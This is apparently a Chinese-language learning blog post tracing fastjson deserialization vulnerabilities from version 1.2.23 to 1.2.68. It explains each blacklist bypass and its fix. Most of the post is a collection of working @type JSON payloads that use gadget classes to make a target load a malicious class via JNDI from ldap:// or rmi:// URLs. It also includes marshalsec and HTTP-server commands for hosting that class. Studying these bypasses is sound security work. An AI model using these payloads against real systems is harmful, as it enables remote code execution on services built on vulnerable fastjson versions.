0%

java web入门 fastJson 系列漏洞学习

前言

了解了 java 基本的序列化机制 和 简单的反序列化攻击方式后 开始学习一下影响广泛的 fastjson 系列反序列化漏洞吧

fastjson

与 jdk 提供的序列化机制 即类与字节码的互相转化不同 fastjson 提供类和 json 字符串的互相转化 且有以下几个特点:

  • 将 json 字符串反序列化为类时 会调用 setter 方法
  • 类的没有 setter 方法的公有属性 能被正常赋值
  • 类的没有 setter 方法的私有属性 需要开启 Feature.SupportNonPublicField 才可正常赋值
1
2
3
4
5
// 序列化
JSON.toJSONString();

// 反序列化
JSON.parseObject();
v1.2.23

漏洞成因在于 如果被反序列化的 json 字符串带有 @type 字段 则其会被反序列化为指定的类 这就成为了 POP 链的起点

利用 JdbcRowSetImpl 类通过 ldap 或 rmi 服务加载恶意类

  • RMI: jdk6u123 jdk7u122 jdk8u113 之前
  • LDAP: jdk6u211 jdk7u201 jdk8u191 jdk 11.0.1 之前
1
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:4444/Evil\",\"autoCommit\":true}";
1
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:2333/\#Evil 4444
1
python -m SimpleHTTPServer 2333
v1.2.41

网上的分析已经很多了 checkautotype 函数中增添了一个黑名单 如果传入的类名以黑名单中的类名开头则抛出一个异常

image-20200921204113049 image-20200921204027666

而在之后 TypeUtils.loadClass 函数中对以 [ 开头的类名和以 L 开头 ; 结尾的类名进行了处理 方式是将以上字符替换为空字符 这就造成了对黑名单的绕过

1
2
3
4
5
6
7
// 要求开启 autotype
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

String payload = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://localhost:4444/Evil\",\"autoCommit\":true]}";

// 这个 payload 需要跟进去调试一下 以 [ 开头的类会被作为数组实例化 至于 json 字符串参数为什么是这个格式 调了一下也没有很搞明白(x
String payload = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{\"dataSourceName\":\"ldap://localhost:4444/Evil\",\"autoCommit\":true}]}";
v1.2.42

这个在 checkautotype 之前先对类名进行了一次过滤 若 L 开头 ; 结尾则将其去除 所以可以双写绕过

1
2
3
4
5
6
7
// 要求开启 autotype
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

String payload = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"ldap://localhost:4444/Evil\",\"autoCommit\":true]}";

// 这个还能用(orz
String payload = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{\"dataSourceName\":\"ldap://localhost:4444/Evil\",\"autoCommit\":true}]}";
v1.2.43

如果类名开头为 LL 则直接抛出异常

1
2
3
4
5
// 要求开启 autotype
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

// 这个还能用(orz
String payload = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{\"dataSourceName\":\"ldap://localhost:4444/Evil\",\"autoCommit\":true}]}";
v1.2.45

通过第三方包的类进行 rce 完成对黑名单的绕过

1
2
3
4
5
// 要求开启 autotype
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

// 需要 mybatis 依赖 或者 ibatis-core
String payload = "{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"ldap://127.0.0.1:4444/Evil\"}}"
v1.2.47

通杀 payload 无论 autotype 开启与否

1
String payload = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:4444/Evil\",\"autoCommit\":true}}}";

关键在于 一个类名若是没有通过黑名单的校验 则会尝试从一个 mappings 中获取它 若其存在则依旧可以被反序列化 而这个 mappings 可以利用 loadClass 函数进行污染 注入恶意的类名

image-20200922190826356

洞的修复方式为在 loadClass 的三个分支中均加入 cache 判断 且默认 cache 为 false

在这个版本之后 利用条件就在于当 autotype 开启时 利用不在黑名单里的类进行 rce 修复方式也就是在黑名单中不断添加新的类

v1.2.60
1
2
3
4
5
6
7
8
// 要求开启 autotype
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

// commons-configuration 包
String payload = "{\"@type\":\"org.apache.commons.configuration.JNDIConfiguration\",\"prefix\":\"ldap://127.0.0.1:4444/Evil\"}";

// oracle-jdbc
String payload = "{\"@type\":\"oracle.jdbc.connector.OracleManagedConnectionFactory\",\"xaDataSourceName\":\"rmi://127.0.0.1:4444/Evil\"}";
v1.2.62
1
2
3
4
// 要求开启 autotype
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

String payload = "{\"@type\":\"org.apache.xbean.propertyeditor.JndiConverter\",\"AsText\":\"rmi://127.0.0.1:4444/Evil\"}\"";
v1.2.66
1
2
3
4
5
6
7
8
9
10
// 要求开启 autotype
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

String payload = "{\"@type\":\"org.apache.shiro.jndi.JndiObjectFactory\",\"resourceName\":\"ldap://127.0.0.1:4444/Evil\"}";

String payload = "{\"@type\":\"br.com.anteros.dbcp.AnterosDBCPConfig\",\"metricRegistry\":\"ldap://127.0.0.1:4444/Evil\"}";

String payload = "{\"@type\":\"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup\",\"jndiNames\":\"ldap://127.0.0.1:4444/Evil\"}";

String payload = "{\"@type\":\"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig\",\"properties\": {\"@type\":\"java.util.Properties\",\"UserTransaction\":\"ldap://127.0.0.1:4444/Evil\"}}";
v1.2.68

不同于单纯的黑名单绕过的新的 bypass 的思路

  • 存在 autoTypeCheckHadnlers 的 通过其进行检测

  • 既不在黑名单也不在白名单的类 满足以下情况可以被反序列化

    • 存在于 mappings 中的类 也就是 v1.2.47 绕过的方式

    • 使用了 jsontype 注解的类

    • 其存在 expectclass 且 expectclass 不在黑名单当中

      1
      expectClass != Object.class && expectClass != Serializable.class && expectClass != Cloneable.class && expectClass != Closeable.class && expectClass != EventListener.class && expectClass != Iterable.class && expectClass != Collection.class
  • 最终实例化的类在当前版本 checkAutotype 加入了对其父类和接口的黑名单

    1
    (ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz) || RowSet.class.isAssignableFrom(clazz))

所以当指定了 expectclass 时 可以反序列化一个既不在黑名单也不在白名单的类 这个类继承于👇

1
2
Throwable.class;
AutoCloseable.class;

而反序列化类后会调用 setter 和 getter 方法 而 OutputStream 类是实现了 Autocloseable 接口的 所以我们可以反序列化出一个 OutputStream 类来 并寻找到存在 setter 方法或者构造函数往 OutputStream 中写数据的类 就可以打出一个文件写 具体可以看 这位师傅的文章

后记

这篇文章本来上周就应该弄好的 但是因为某大赛的原因拖了几天 关于 fastjson 反序列化的漏洞网上的分析很多 我也只是记录自己学习的笔记而已 有什么谬误的地方还请师傅们多包涵